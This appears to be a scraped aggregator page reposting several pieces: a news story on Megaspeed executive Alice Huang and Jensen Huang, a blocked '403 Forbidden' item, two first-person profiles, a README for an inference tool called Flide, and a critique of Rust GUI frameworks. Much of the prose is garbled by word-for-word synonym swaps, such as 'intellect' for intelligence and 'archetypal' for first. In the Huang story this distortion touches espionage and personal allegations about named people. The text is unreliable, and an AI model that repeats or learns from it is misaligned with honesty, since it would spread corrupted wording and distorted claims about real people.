MC Project

Who is Alice Huang, the Megaspeed executive at the center of the Jensen Huang controversy

support@mycoding.id (Amanda Goh) — Mon, 09 Nov 2026 07:18:18 +0700

Jensen Huang stated in a note to staffers on Sunday that he had been unfaithful to his wife. Sean Rayford/Getty Images

Jensen Huang's note to staff on Sunday, in which he acknowledged being unfaithful to his wife, came as Nvidia opened an independent investigation into reports that he may have been the mark of a "foreign intellect effort."

At the center is Alice Huang, who has been an administrator for Megaspeed, an Nvidia customer.

The New York Times reported in delayed October that US intellect officials accept Huang, who developed a near association alongside the Nvidia CEO, was passing data to Beijing.

Huang's function at Megaspeed

Megaspeed archetypal came under scrutiny following the Times reported final twelvemonth that US authorities were examining whether the business and its Malaysian affiliate were assisting Chinese businesses acquire admission to Nvidia's AI chips notwithstanding US export controls.

It is unclear whenever Huang — who shares a final name alongside the CEO, but has no connection to him — archetypal met the Nvidia chief.

A 2024 LinkedIn post from the AI business NetThunder, shared during the Computex Taipei commerce show, showed the brace at a bar alongside another innovation executives.

In May 2025, news footage from Taiwanese media showed them leaving a Taipei eatery alongside another executives.

However, beyond those community appearances, small is known concerning Huang. Singapore company filings acknowledge her as Huang Le.

Megaspeed International was unified in Singapore in 2015 as 7Road International, before changing its name on March 7, 2023, according to Singapore company filings.

A day earlier, Huang, a Chinese national, was appointed as the two a director and managing director of the company, alongside another Chinese national, Cang Yang, who joined as a director. She resigned from the two roles on November 10, the identical day Cang additionally stepped down.

When Huang assumed the role, company filings display that 7Road International HK Limited transferred all shares in the Singapore being to Huang Le Limited, a British Virgin Islands company.

That November, ownership was transferred again to Swiftdata, a Singapore business unified on October 31, 2023. Swiftdata remains Megaspeed’s sole shareholder.

The Times reported that Megaspeed was cast following 7Road, a Chinese online gaming company, divided off its Singaporean subsidiary.

Before her period at Megaspeed, Huang worked as an administrator director at a Shanghai funding prosperity that had backed 7Road and was connected to state-backed companies, per the Times.

In an October response to a query from The Wall Street Journal, Singapore's Ministry of Home Affairs stated it had not investigated Huang complete her alleged ties to Chinese intellect or her association alongside Jensen Huang. It said, however, that the Singapore Police's inquiry into Megaspeed is ongoing, and declined to comment further.

Nvidia CEO's ties to Huang

In reply to The Times' first reporting, Nvidia characterized Jensen Huang's interactions alongside Huang as regular endeavor dealings.

"Jensen's interactions alongside Ms. Huang are not different or unexpected. Meetings alongside customers are part of a CEO's job; Jensen talks alongside thousands of client executives all year, John Rizzo, a spokesman for Nvidia, told the Times in delayed October.

The Nvidia CEO himself made akin comments to Bloomberg final week. "Our relationship, our interactions, have been connected to Megaspeed, and it was all entirely normal and not unusual," Huang said.

On Sunday, Huang told Nvidia personnel that he had been unfaithful to his wife. His note did not name Alice Huang or location the reported association directly.

"Today's news volition not dilatory Nvidia," a business spokesman told Business Insider in a declaration on Sunday. "Jensen is committed to continuing to guide Nvidia as CEO without interruption."

Apple capped engineers at a $200 daily AI budget

support@mycoding.id (Riki Setiawan) — Mon, 09 Nov 2026 06:30:11 +0700

403 Forbidden

sin1::x6mfz-1794207622724-f1589f99814d

I'm 69 and pay $4,500 a month to live in a care home. It's given me a better sense of community.

support@mycoding.id (Amanda Goh) — Mon, 09 Nov 2026 06:03:01 +0700

Rebecca Toh for Business Insider. Victor Lee lives in an assisted living facility in Singapore.

This as-told-to composition is according to a conversation alongside Victor Lee, 69, who lives at Camino House, an assisted living facility in Singapore. This discussion has been edited for dimension and clarity.

For as lengthy as I could remember, I lived alongside my three older siblings in a two-story apartment in Singapore.

I worked as a revenue aide at a famous division store, but stopped operating in my 20s since of health issues. My siblings took attention of me following that, and I relied on them to assistance me get by day to day. We were all single.

Victor Lee spent most of his existence living alongside his three older siblings. Rebecca Toh for Business Insider.

But as the years went by, age caught up alongside them one by one, and I was remaining on my own.

For complete two years, I lived solitary in that flat we formerly shared. But as I got older and small mobile, it became harder to manage the stairs all day. I cut multiple times, and I started to acknowledge how hazardous it was to be by myself.

Each period I fell, there was nobody about to know. But the final period was the one that made me acknowledge I could not keep living this way.

I recall lying there for a lengthy time, struggling to get myself up. When I eventually managed to, I had to call an ambulance — and afterward open the entrance for them myself.

Choosing assisted living

I decided to market my flat and downsize to a smaller public-housing flat. But akin another Singaporeans who buy these Build-to-Order flats, I would have to delay multiple years for the flat to be ready.

When his siblings died, living solitary became unsafe, so Lee moved into an assisted living facility in Joo Chiat, Singapore. Rebecca Toh for Business Insider.

In the meantime, I knew I needed to discover a location anywhere assistance would be nearby if I cut again.

Since I was motionless fairly autonomous and capable to oversee most regular activities on my own, a traditional nursing residence didn't appear akin the correct fit for me. Thankfully, a social employee I knew helped me regard my options.

She introduced me to Camino House, an assisted living facility not too far from anywhere I'd been living.

It's in a shophouse, one of Singapore's narrow, colorful historic buildings that traditionally had businesses on the dirt flat and homes upstairs.

He gets a personal area alongside an en-suite bathroom. Rebecca Toh for Business Insider.

I came to see it twice before I moved in in 2023. I knew there were another facilities, but I established them fairly old and a bit crowded. In contrast, I established Camino House to be a extremely nice, quiescent place. Right now, there are seven residents, including me.

The caregivers are continually helpful and cheerful — I call them my "sunshine girls." They are there whenever I need help, but I motionless have the liberty to do things on my own.

Life at Camino House

I have a personal area alongside an en-suite bathroom, and I pay 5,800 Singapore dollars, or concerning $4,500, all month. This covers my room, meals, laundry, and care.

I normally awaken up early, about 6 a.m. After washing up, I caput downstairs for breakfast, anywhere I normally have oats alongside blueberries and honey.

I bask doing my own exercises, and multiple times a week, I'll associate the collection activities held in the average area. We do things akin artwork and rattan weaving, and sometimes volunteers or children from nearby preschools arrive by.

The attention facility hosts social activities for its residents multiple times a week. Rebecca Toh for Business Insider.

In the afternoons, I frequently act bulk online, read, or expend period alongside the another residents. On Sundays, I try to go to church.

Before I came here, I was fairly a introverted person. I think I'm the most talkative one now. I bask interacting alongside people. It feels additional akin a family here.

I'm 22 and I bet $80,000 of my savings on an industrial AI startup. Now I'm dropping out of college to go all-in.

support@mycoding.id (Huileng Tan) — Mon, 09 Nov 2026 06:01:01 +0700

Anderson Chen At 22, Anderson Chen is construction a Y Combinator-backed AI startup in an industry anywhere he says competitors are frequently decades older.

This as-told-to composition is according to a conversation alongside Anderson Chen, 22, the Taiwanese originator and CEO of San Francisco-based Operon Solutions, an manufacturing AI startup backed by Y Combinator. It has been edited for dimension and clarity.

I'm taking my second gap year from Nanyang Technological University in Singapore, anywhere I study chemic engineering and business. Now I'm preparedness not to return to college.

During my archetypal gap year, I started Operon, an manufacturing AI startup. We automate tasks that used to be run by individual operators and specialists in dense industries, including manufacturing, oil and gas, and construction.

I initially idea I'd go rear to school. But Operon grew exponentially toward the end of my archetypal gap year, so I decided to obtain another twelvemonth off.

During that year, I realized that equal if you graduate, it doesn't average you'll fig things out.

I was fairly frightened of dropping out, to be honest. Having a bachelor's flat is the Asian standard.

My parents were additionally initially concerned since they idea I was doing seriously at school. But my gap-year expenses were covered by a fellowship, so it was no hazard for me.

Now my parents are fine alongside my plans. They're like, "Okay, go for it."

I think AI is changing the value of a university degree

Another logic I'm preparedness not to come back to university is that AI is moving so fast.

OpenAI lately solved a type of the Navier–Stokes problem in fluid dynamics. I recall in my sophomore year, my prof in fluid dynamics told me it was unsolvable.

I realized that if you cognize how to use AI effectively, you power equal be capable to outperform your own professor.

I saw an chance to bring AI into dense industries

I started Operon following doing internships at manufacturing companies and connecting alongside manufacturers and founders in Taiwan.

I saw engineers throwing engineering PDFs into ChatGPT and asking it to comprehend them and compose engineering documentation.

But frontier AI models couldn't comprehend those documents since they had never been trained on that confidential data. That was the instant I knew I had to commencement this company.

In manufacturing, humans prosecute extremely rigorous norm functioning procedures. But the data in dense industries is too difficult for AI to understand. It's too messy.

So we're structuring everything together, construction a environment tier for them, and allowing these agentic workflows to really happen.

In May, we received backing from Y Combinator as part of a $700,000 pre-seed circular that additionally included another investors. We closed the circular in concerning three days.

We have concerning 20 clients. Some of our projects are proofs of concept, during others are already complete contracts.

Anderson Chen's startup, Operon, plant alongside dense industries to automate tasks traditionally performed by individual operators and specialists. Anderson Chen

I put nearly all my funds into my AI startup

Before we raised funds, I put nearly all my individual funds into Operon. It was about $80,000. I'm not paying myself a salary, although we're paying our employees.

I made the prosperity from businesses I started before Operon. When I was 14, I was marketing sneakers and doing Amazon dropshipping.

While I was in college, I built a tutoring agency connecting Malaysian students alongside parents of children attending global schools in Singapore. I did promotion for the tutors and hired a bunch of them.

Being young in an old-economy industry has its advantages

Our squad has five people, all under 30. The oldest is 26, and the youngest is 16.

I think there's skepticism since we're operating in dense industries, and the founders of our competitors are all in their 40s and 50s.

But that's the best thing I could always ask for.

Skepticism brings exposure, and group volition naturally be intrigued. They'll be thinking, "Oh my God, how are you capable to interrupt into this space? I have to inspect it out."

Show HN: Flide: Make Jev-like decision models up to 9.5x faster

support@mycoding.id (Riki Setiawan) — Mon, 09 Nov 2026 05:43:12 +0700

English · 简体中文 · 日本語

News · Quick start · Models · Options

Flide is accelerated conclusion infrastructure for Jev-style decision models. With exact province forking it is up to 9.5 times faster than vLLM and SGLang, and all answer is the one the example gives the inquiry alone. It serves the Jev /v1/systemone API.

🔥 2026-11-09 We added Ainvest-Decision, Darwin-27B-RSI-Decision and KnowLine-31B-Gen1.5 in Flide 0.1.10, and the KnowLine family now says images.
🔥 2026-11-09 We added pplx-decider-v1.1-27b and JEV-35B in Flide 0.1.9, and /v1/systemone now takes multiple requests in one body.
🔥 2026-11-08 We added two decision example families in Flide 0.1.8, including AutoTrust and Clef, and additionally drex-max-v1.

Earlier news

🔥 2026-11-02 We released our document Flide: Accelerating Decision Inference alongside Exact State Forking on arXiv.
🔥 2026-10-29 We added three decision example families in Flide 0.1.7, including SynACK Decide, Wald and Xor, and Gemma 4 mixture-of-experts models specified as KnowLine-26B-A4B.
🔥 2026-10-29 We added two decision example families in Flide 0.1.6, including Drex and KnowLine, and flide verify checks exact forking on your own example and requests.
🔥 2026-10-28 We added six decision example families in Flide 0.1.5, including Jeffan, JevAny, Kev, Lychee, pplx-decider and StartLux, and images for Lumma and mammoth.
🔥 2026-10-26 We added five decision example families in Flide 0.1.4, including cerno, JADE, Linne, mammoth and Sieve, and additionally Quyet-1.0-Large.
🔥 2026-10-26 We added eight decision example families in Flide 0.1.3, including AJev, Bespoke-Nimble, Darwin, jiwo, Lumma, mogan, Quyet and Senova, and LoRA adapters now assist as they are.
🔥 2026-10-25 We added two decision example families in Flide 0.1.2, including Intern-Decision and torchcast, and a inquiry now takes up to 256 options.
🔥 2026-10-24 We released Flide 0.1.0 on PyPI, serving Qwen3.5 and Gemma 4 conversation models and the OneJev and Open-Jev decision models. Welcome to have a try.

uv venv -p 3.12 && source .venv/bin/activate uv pip instal flide torchvision flide assist --model OmniJev/OneJev1.6-0.8B

Any example in the model table starts the identical way, for example Perplexity's decision model.

flide assist --model perplexity-ai/pplx-decider-flash-v1.2

Every one of them answers this request.

curl http://localhost:8000/v1/systemone -H "Content-Type: application/json" -d '{  "state": "Order #1182 arrived alongside a cracked screen. The client asks for a refund and attached two photos.",  "questions": {  "action": {"type": "choice", "instructions": "What should assistance do next?",  "criteria": {"refund": "refund the order", "replace": "send a replacement", "escalate": "ask a human"}},  "urgent": {"type": "noul", "instructions": "Does this need a answer inside the hour?"}  } }'

See the docs for all model, images, the API and all options.

The final three columns say how much faster Flide answers one petition than the motor its publish ships, as the median latency complete the requests of all workload on one H200, anywhere DI is the Decision Index. The conversation models run against the faster of vLLM and SGLang, and OneJev against qev, the motor it used before Flide. KnowLine 35B runs alongside --quantize fp8, as its publish serves it in FP8. A value marked ~ is the average complete the sizes tested.

Model	Inputs	DI	MultiRC	QuALITY
Ainvest-Decision	text	1.4×	1.3×	1.3×
AJev	text	3.7×	9.3×	2.6×
AutoTrust	text, images	~3.2×	~7.6×	~1.6×
Bespoke-Nimble	text	2.6×	2.1×	1.6×
cerno	text	~4.1×	~8.6×	1.1×
Clef	text, images	1.3×	1.0×	1.0×
Darwin	text	~1.4×	~4.2×	~1.2×
Drex	text, images	~2.8×	~6.2×	~1.5×
Gemma 4	text, images	~1.3×	~1.7×	~1.0×
Intern-Decision	text, images	4.4×	1.1×	1.5×
JADE	text	2.0×	9.2×	1.7×
Jeffan	text	3.1×	2.6×	1.9×
JevAny	text, images	1.5×	5.8×	1.2×
jiwo	text	~1.9×	~5.9×	1.8×
Kev	text	~7.9×	~1.5×	~1.7×
KnowLine	text, images	~1.4×	~4.3×	~1.5×
Linne	text	2.3×	8.6×	1.2×
Lumma	text, images	1.7×	7.1×	1.2×
Lychee	text	1.4×	1.5×	1.4×
mammoth	text, images	~4.3×	~2.8×	~1.8×
mogan	text	1.6×	8.5×	1.8×
OneJev	text, images, video	~6.8×	7.3×	4.7×
Open-Jev	text	4.2×	5.0×	~1.5×
pplx-decider	text, images	~2.2×	~1.4×	~1.3×
Quyet	text	~3.9×	~7.1×	~1.6×
Qwen3.5	text, images	~2.1×	~4.8×	~1.3×
Senova	text	3.1×	28.1×	1.2×
Sieve	text	3.0×	14.3×	2.6×
StartLux	text	2.6×	1.1×	1.2×
SynACK Decide	text	3.3×	11.9×	3.0×
torchcast	text, images	1.6×	8.4×	1.4×
Wald	text	1.6×	12.7×	1.5×
Xor	text, images, video	2.5×	6.2×	2.8×

Option	What it does
--session-cache-gb 40	keeps the states of before requests, so an agent's next stage says lone what is new
--batch-invariant	the identical bits for a petition any it is batched with, at several disbursal in speed
--quantize fp8	Qwen3.5 in FP8 on Ada, Hopper and Blackwell GPUs
--frontends 2	HTTP, rendering and tokenizing in two processes of their own, for many clients

Apache-2.0. flide/kernels/gdn.py holds a kernel derived from two kernels of flash-linear-attention (MIT); THIRD_PARTY_NOTICES lists it with the another code Flide builds on.

If you use Flide in your research, delight citation our paper.

@article{li2026flide, title = {Flide: Accelerating Decision Inference alongside Exact State Forking}, author = {Li, Bobo and Song, Jiajia and Fei, Hao and Hsu, Wynne and Lee, Mong Li}, journal = {arXiv preprint arXiv:2610.42148}, year = {2026} }

A Critique of GPUI

support@mycoding.id (Mira Azkia) — Mon, 09 Nov 2026 04:51:10 +0700

Recently, there has been a trend of additional desktop GUI apps being built using native rust GUI frameworks. And there are now equal fine known speck apps getting authoritative rewrites: Discord announced their app is being rewritten using GPUI. Meanwhile, a lot of the LLM-clones being published appear to choose egui. In this post, I desire to explain why I am not certain those frameworks are a good basis to build on.

To put it plainly: I accept the two GPUI’s and egui’s province models are dead ends for complex desktop applications. Both are notable projects, and they have their place. Zed genuinely feels accelerated and nice to use, and I use egui myself for debug interfaces in bevy games. But I don’t think those frameworks should be the default choice for native desktop apps.

I desire to create two arguments:

Every UI architecture ends up needing to cognize what changed and who depends on it, or achievement characteristics volition not scale. A example whose state model cannot say so makes the use say it by hand, at the disbursal of whatever made that framework’s API semantics appealing in the archetypal place.
Once you acknowledge you desire that precision, components that run once, with signals and reactive holes, are the simplest API for it.

Disclosure: I ported GPUI’s current Linux renderer to wgpu, I built the benchmark harness used below, and I activity on zgui, a signal-based Rust example that appears in the charts.

The lone inquiry that matters

Raph Levien quotes Ron Minsky: “hidden inner of all UI example is some kind of incrementalization framework.” A UI is a function of state, and state changes a small at a time. But if that function becomes expensive, you might desire to commencement looking for ways to get a faster way to update pixels on the display from an incremental province change. So all example has to answer one question: whenever one value changes, what runs?

Model	What a compose runs	Who finds the change
Immediate (egui)	All UI code, next frame	Nobody
Elm (Iced)	All of view, afterward a diff	The diff
Views (GPUI)	Every perspective without a cache	You, alongside notify
Signals, re-run (Freya, Compose)	Components that peruse it	The framework
Signals, run formerly (Floem, Solid, zgui)	Closures that peruse it	The framework

I comprehend why group akin the archetypal three. No province to synchronize, one place anywhere province lives, a render function that is plain Rust, no macros or separate compiler. I’m gonna create the disagreement that these approaches don’t scale, and fixing the underlying issue defeats what makes these models simple and uncomplicated to logic about.

GPUI: notify is zone.js

GPUI calls itself “a hybrid contiguous and retained mode” framework. It retains province in entities. The UI is defined in render functions, changing state must trigger a rerun.

impl Render for Sidebar { fn render( &mut self, _: &mut Window, cx: &mut Context<Self>, ) -> impl IntoElement { let inbox = self.inbox.read(cx); div() .child(format!("{} unread", inbox.unread())) .children(inbox.threads.iter().map(|t| t.title.clone())) } }

It is average Rust. You can use if, for and local variables, and there aren’t any weird wrappers. State changes necessitate an definitive notification:

self.threads[i].unread = false; cx.notify();

notify carries the being id. Since Rust doesn’t have a compose obstacle on &mut, GPUI cannot see which site changed (or whether item changed at all). The Angular squad wrote this concerning zone.js in 2023: it “is lone capable of notifying us whenever item might have happened”, and “This method has not scaled well.” notify is additional exact than a zone, since it names an entity, but ultimately it makes the identical benevolent of statement. Below that id, GPUI knows nothing, so it re-renders all perspective that is not rearward a valid .cached() boundary. And in practice, GPUI frequently rerender all view, because .cached() is rarely used by use authors, and imposes certain restrictions on layout semantics.

GPUI has a position of being “fast”. And during constants power be relatively low, asymptotically, it is leaving a lot on the table. So I ran a few benchmarks, that specifically test how much a sparse province alter in a ample UI really costs.

At 3,000 live rows alongside a cached perspective per row, changing one tag takes 8.4 ms. A hover, a keystroke and penning a value equal to the old one all disbursal about the same, since the disbursal follows the tree and not the change. It grows by about 3 ms per 1,000 live rows. Write the rows as plain elements, as in the code above, and the identical tag takes 92 ms. A hand-written equality defender takes the equal compose from 7.9 ms to 0.9 µs (demonstrating how much is remaining for each call location to find).

This doesn’t average that all GPUI app is slow, but it shows the bounds of the state model. Especially alongside additional costly layout, you do hit this wall in practice. Zed power awareness fast, but the fact is that Zed is a relatively simple app, UI wise. The app’s chrome contains a few buttons, in a simple layout, a sidebar and a content editor, and the content publishing company is implemented as a custom element, entirely bypassing GPUI’s layout and perspective semantics. By their own account, a opening “has tens of nodes and a few thousand elements”.

Making GPUI exact defeats GPUI

The apparent fix is to keep more. Zed has experimental branches for this, and Longbridge’s gpui-fast is a fork that keeps all view’s subtree between frames. It works, inside a limit: the smallest item either one can reuse is a view. So to update one tag without rebuilding the sidebar, the label have to be a view:

pub struct UnreadBadge { unread: usize, _watch: Subscription } impl UnreadBadge { pub fn new(inbox: Entity<Inbox>, cx: &mut Context<Self>) -> Self { let unread = inbox.read(cx).unread(); let _watch = cx.observe(&inbox, |this, inbox, cx| { let unread = inbox.read(cx).unread(); if unread != this.unread { this.unread = unread; cx.notify(); } }); Self { unread, _watch } } } impl Render for UnreadBadge { fn render( &mut self, _: &mut Window, _: &mut Context<Self>, ) -> impl IntoElement { format!("{} unread", self.unread) } }

Its owner afterward has to create it and keep the handle:

let sign = cx.new(|cx| UnreadBadge::new(inbox.clone(), cx));

That is an entity, a Render impl, a subscription, a stored copy of the value, a hand-written defender and an owner, all to province that one tag depends on one count. In a indication example it is this:

let unread = Memo::new(move |_| { threads.with(|ts| ts.iter().filter(|t| t.unread.get()).count()) }); Label::derived(move || format!("{} unread", unread.get()))

The remainder of GPUI’s API plant against this too. Render takes no props, so parents shove values into kid entities during their own render. RenderOnce components, which is what buttons and rows are, diagram inner their parent’s view and are no border at all. List rows are closures, so a row perspective means managing a keyed map of entities by hand.

And it lone helps anywhere province happens to row up alongside views. I reran gpui-fast’s own 60-panel benchmark, drew all example once, and afterward moved the state:

With province owned by all panel, one alter saves 83%. With a shared model, retention makes the identical example 11% slower. The opening and the edit are identical. In genuine Zed, the Zed squad measured preservation “1–3% slower than off on average workloads”, established that “Most of the real-Zed win” came from other work, and warned that “microbenchmark wins didn’t foretell real-Zed results”. gpui-fast is genuine advancement and expenses small to adopt: it takes the 3,000-row tag from 8.4 to 3.4 ms. But that example renders three views and lays out one element, and motionless spends 3.4 ms, since the example is motionless a walk complete the entire tree.

The web has already walked this road. Redux’s manner guide says “Prefer having more UI components subscribed to the Redux shop and study data at a more granular level”. MobX says to “create many of small observer components”. Both inform you to create a border per projection, manually, because the example can’t infer it.

This is the part I discover hardest to get past. People choose GPUI since render is a plain function of state. A UI anywhere all projection is a separately owned entity alongside a subscription and a defender is no longer that. It is a indication graph built by hand from much heavier parts, anywhere a missed border is silent. Zed’s own design note says “Missing notifications are use bugs”. Keep the pleasant API and you get view-sized updates. Take the precision and you endure the pleasant API. A signals crate on top would not alter the trade, since its smallest descend is motionless a view. Reaching one node alongside no render operating needs writes the example can see and nodes that outlive a frame, and that method a new province example and a new component contract.

Elm: deceptively uncomplicated at small scales

At the size it is normally shown, the Elm architecture is a deceptively simple UI model: one province value, one update, one view, and all alter has a name. While ample applications do use it successully, I do desire to make the item that this clarity belongs to the small case, and in a complex application signals and stores are arguably easier to logic about.

Take the identical unread count. It have to be correct following all message, so either view recomputes it on all update or update maintains it:

match communication { InboxMessage::MarkRead(i) => { if self.threads[i].unread { self.threads[i].unread = false; self.unread -= 1; } } InboxMessage::Delete(i) => { if self.threads.remove(i).unread { self.unread -= 1; } } InboxMessage::Arrived(thread) => { self.unread += thread.unread as usize; self.threads.push(thread); } }

The definition of unread is now nowhere in particular. It is dispersed across every arm that touches a thread, and all new communication has to recall it. The compiler checks that the equivalent is exhaustive, but it does not inspect the arithmetic. The memo complete has one definition, and a new author cannot forget it.

The identical item happens alongside location. Where does a hover province or a half-typed draft live? Single origin of fact says in the model, alongside a communication type routed downward and an outcome routed rear up. Elm’s guide: “Actively trying to make components is a formula for catastrophe in Elm.”. Iced recommends returning an Action to the parent. Iced’s maintainer says components in this architecture continually end “with pain”, and additionally makes the finest case for the discipline: avoiding them “forces you to think difficult concerning your data model”. Okay, I conjecture that’s a fair argument. But cosmic-files has 136 top-level communication variants and 73 additional for a tab, affirmative a Tab::update that returns commands for the genitor to interpret. Everything in that is explicit, and none of it is simple.

The architecture additionally has the identical matter GPUI has. The update implementation tells you what a communication writes, it cannot inform you what peruse the field. Anything inner the perspective might. Elm’s architecture doesn’t answer “what changed?”, it answers “what happened?”. Session export power be helpful in some scenarios, but it is not helpful for scalable achievement characteristics.

This is what I peruse in the web’s history. Redux is the best-known related of this design, and its docs peruse akin a site report. Treat a part of your store “as if it were a database”. Selectors “will be re-run following every dispatched action”. The center bundle is “obsolete”, replaced by a toolkit made to eliminate boilerplate. Outside React, the mainstream has moved to tracked reads. Angular, Vue, Svelte and Solid build on signals or something equivalent, Preact offers them, and Svelte’s squad put it this way: “we’ve come to the realisation that Knockout was correct all along.” Inside React, Jotai and MobX bring tracking in as libraries, and Legend-State equal offers a “render once” style. Most applications are motionless on React, and React’s team disagrees, which I arrive rear to below. So the convergence is on the province model, outside one ample exception.

Performance follows the identical line. Since Iced rebuilds all of perspective after every lot of messages, one tag at 3,000 rows builds 39,023 widgets and takes 7.3 ms. Lazy on all row lone gets that to 5.7 ms, since view still has to sojourn all row to hash its key. The authoritative lazy example keys on a version: u8 that four update arms bump by hand. That is a dirty flag alongside a nicer name. In fairness, cosmic-files and Halloy use no lazy at all, and on a virtualized catalog Iced is among the fastest frameworks I measured, at 0.19 ms. A bounded display rebuilds cheaply. But asymptotic complexity is clear. And akin to GPUI, the API semantics merely can’t express the necessary information.

There is really precedence for this: Vizia shows what happens whenever you add precision to this model. It moved from lenses to signals in March 2026 and kept its Model and event dispatch. This is its counter, shortened:

pub enum AppEvent { Increment, } impl Model for AppData { fn event(&mut self, _: &mut EventContext, event: &mut Event) { event.map(|app_event, _| match app_event { AppEvent::Increment => self.count.update(|count| *count += 1), }); } }

let figure = Signal::new(0); AppData { figure }.build(cx); Button::new(cx, |cx| Label::new(cx, "Increment")) .on_press(|cx| cx.emit(AppEvent::Increment)); Label::new(cx, count).width(Pixels(50.0)).live(Live::Polite);

The tag says the indication directly, and the identical closure that builds the button created it. The enum, the dispatch and the handler be to transport one call to update. Vizia was never strict Elm, since its views are built once, and signals were a sensible move: it got per-field writes. But appearance at what remains of Elm’s reasons. State is a chart of mutable cells, Model is a bag of handles, and event is a &mut oneself flank effect. You now have two systems for saying that item changed. So my exception to adding signals to the Elm architecture really is the identical as alongside GPUI: they work, and they eliminate what you came for.

egui’s throw is the finest in the field: “You don’t have to concern concerning app state and GUI province being out-of-sync”. For a tool, this is difficult to beat:

for row in rows { ui.horizontal(|ui| { ui.label(&row.name); ui.label(row.price.to_string()); if ui.button("+").clicked() { row.price += 1; } }); }

The cost is that a example expenses the size of the UI, autonomous of what changed. At 3,000 rows all small edit takes concerning 32 ms, or concerning 19 ms with accessibility off. egui’s author is candid concerning the trade: contiguous manner is “easier to use, but small powerful”.

As the use grows, the first attention goes. The layout paradox is “a fundamental shortcoming”. Long lists need show_rows, which takes one fixed row height. Rerun, the largest egui use I cognize of, clamps queries by “inspecting egui province from the former frame”. Anything costly goes behind a cache keyed on your data. A cache that has to concur alongside your data is the synchronization issue contiguous manner set out to remove, now in application code, one example late.

One engine, distinct wiring

The harness can display this directly, since several frameworks can be wired coarsely and finely on the identical engine:

I benchmarked several of the engines in two ways, formerly in the most fine grained way they can be used, and formerly in a coarser way. The results display how much there is to acquire alongside fine-grained reactivity.

Two things remain out. Iced’s aspect is small since the perspective function still runs. And Floem’s coarse case is value a look: all division says one global revision signal, which is notify in indication clothing. It is the slowest result on the chart. So signals do not rescue coarse state. The React squad established the same item from the another side: on a benchmark alongside “one elephantine input”, a signals-style runtime disappointed, and Joe Savona concluded the data example “is just as important, perchance additional so” than the algorithm. The province has to be shaped akin the reads. That is why I call this a province example problem. A good API should create it uncomplicated to align the data example alongside its UI projection.

Why run once

Suppose you obtain all of that. You desire the example to track reads, and you want province shaped to match. What is the simplest API?

pub fn sidebar(threads: RwSignal<Vec<Thread>>) -> impl IntoView { let unread = Memo::new(move |_| { threads.with(|ts| ts.iter().filter(|t| t.unread.get()).count()) }); Stack::vertical(( Label::derived(move || format!("{} unread", unread.get())), dyn_stack(move || threads.get(), |t| t.id, thread_row), )) }

That is the entire thing. The build runs once. The closures you hand to the framework run again whenever item they peruse changes. A local changeable is a local variable. There are no hook rules, no dependency arrays, no stale closures and no PartialEq on props. Nothing reconstructs a row’s identity, because the row is motionless there.

Compare signals alongside re-running components, which is Freya’s model. It works well: one keystroke at 3,000 rows expenses 1.2 ms. But appearance at a counter:

#[derive(PartialEq)] struct Counter; impl Component for Counter { fn render(&self) -> impl IntoElement { let mut figure = use_state(|| 0); } }

use_state exists since that row runs again. You now clasp the two models: read tracking decides which range re-runs, and afterward re-render semantics use inside it, alongside hooks, prop equality and a diff. Finer updates need smaller components, which is GPUI’s issue at a much lesser price. What the re-running build buys is ordinary authority flow, and that is the grave objection.

Dan Abramov makes a compelling argument. Run-once puts your rendering logic in closures, so top-level authority stream stops working, and you collection code around values and not about logic. “The attractiveness of React is that making things ‘computed’ is an optimization, not a requirement.” He is correct concerning it. This compiles, but the archetypal row never updates:

Label::new(count.get()), Label::derived(move || count.get()),

A reactive if has to rotate into a dyn_container, and a for a dyn_stack. Solid 2.0 had to add dev warnings for top-level reads.

But the identical comment contains the logic I district the another way. He says Solid’s regrouping is “Similar to how you have to restructure your code about the values whenever you optimize it alongside useMemo.” Exactly. If your use never needs that, React’s example may be simpler. If it does, you pay for the regrouping either way, and the lone choice is when: from the start, or later under a profiler. Ryan Carniato’s answer is the one I concur with: “In Solid you always compose as if the data is derived so you don’t refactor to optimize.” Once you cognize you desire this precision, run-once is the API that stops pretending otherwise. The nonaccomplishment modes additionally favor it. A forgotten gap goes stale on the archetypal update, in the location you wrote it. A forgotten notify depends on what alternatively happened to redraw.

To be absolutely honest, the ecosystem’s wider convergence is on peruse tracking in general, and not on run-once specifically. Angular considered per-binding updates and chose per-view, in writing, and it lands inside concerning 1 ms of Solid on a partial update. Apple and Google, who authority their languages, kept re-running bodies alongside @Observable and Compose. A gap is itself a re-run scope, so what differs is how big the default range is. Two things I desire to note on this though:

First, those systems pay for their larger scopes alongside a compiler. Compose has a compiler plugin, Angular compiles templates, and React’s compiler is the serious competitor to everything here: it keeps React’s API and removes many needless re-renders, alongside loads up to 12% better. For Rust, I doubtful that most group that favor contiguous manner or elm (or any GPUI is) would not like the idea of an additional compiler. A proc macro lone sees tokens, not types, and render is an arbitrary function, so there is no continue that can split it into scopes. What Rust can province cheaply is a closure.
Second, their own direction keeps describing the identical problem: “Defer says as long as possible” for Compose, and “Unnecessary perspective build updates can really add up” for SwiftUI. A example that runs the build formerly removes that category at component level.

View-level rerun and fine-grained signals can have the identical performance ceiling. But signals advance fine-grained province projections and memoization from the beginning, for view-level rerun its an definitive choice that often leads to additional boilerplate.

Signals do not automatically create your app fast

Fine-grained reactivity does not create an app accelerated on its own.

Floem’s reactivity does exactly what it promises. Changing a tag runs 5 effects and spends 0.01 ms in reactive work, afterward concerning 14 ms in layout, because Taffy does not cognize that one leaf moved. (Floem additionally has a known bug anywhere that edit never repaints, so treat this as a floor.) Vizia runs 4 bindings, then walks all 120,091 entities, for 46 ms. Slint writes an equal value in 4 µs, and takes 172 ms for a label, in a continue that walks concerning 30,000 items. Freya produces 5 mutations, afterward visits 57,050 layout nodes to recompute 14. GPUI beats most of them on this edit.

This is the difference the disagreement depends on. All of those linear expenses are in the motor respectively. Nothing in the application’s code requires them, so they can be fixed rearward the identical API without changing an application. zgui shows how far that goes: 0.69 ms for the tag at 3,000 rows and concerning 0.26 ms per 1,000 rows, about 12 times flatter than GPUI. It is motionless not flat, and it is my example and was tuned on this harness, so obtain these numbers alongside a grain of salt. In Iced and egui the linear disbursal is in the contract: the API says your code runs. No motor activity can eliminate that, and app code has to change. GPUI likely sits location in between, which is why gpui-fast can improve the circumstance to several extent.

At this point, I wan’t to portion a additional detailed benchmark matrix. Read the re-running columns downward the archetypal five rows and they barely move, since they do not depend on the edit. The indication columns move a lot, since the underlying implementations differ.

The base of that grid is additionally anywhere the disbursal signals have becomes visible.

Creation. Filtering at 3,000 live rows takes 56 ms in Iced, 67 in egui and 123 in GPUI, against 371 in zgui, 835 in Floem and 982 in Freya. On a virtualized catalog it is 1.0 ms in Iced and 7.2 in zgui. “Setting up the dependency chart is not free.”
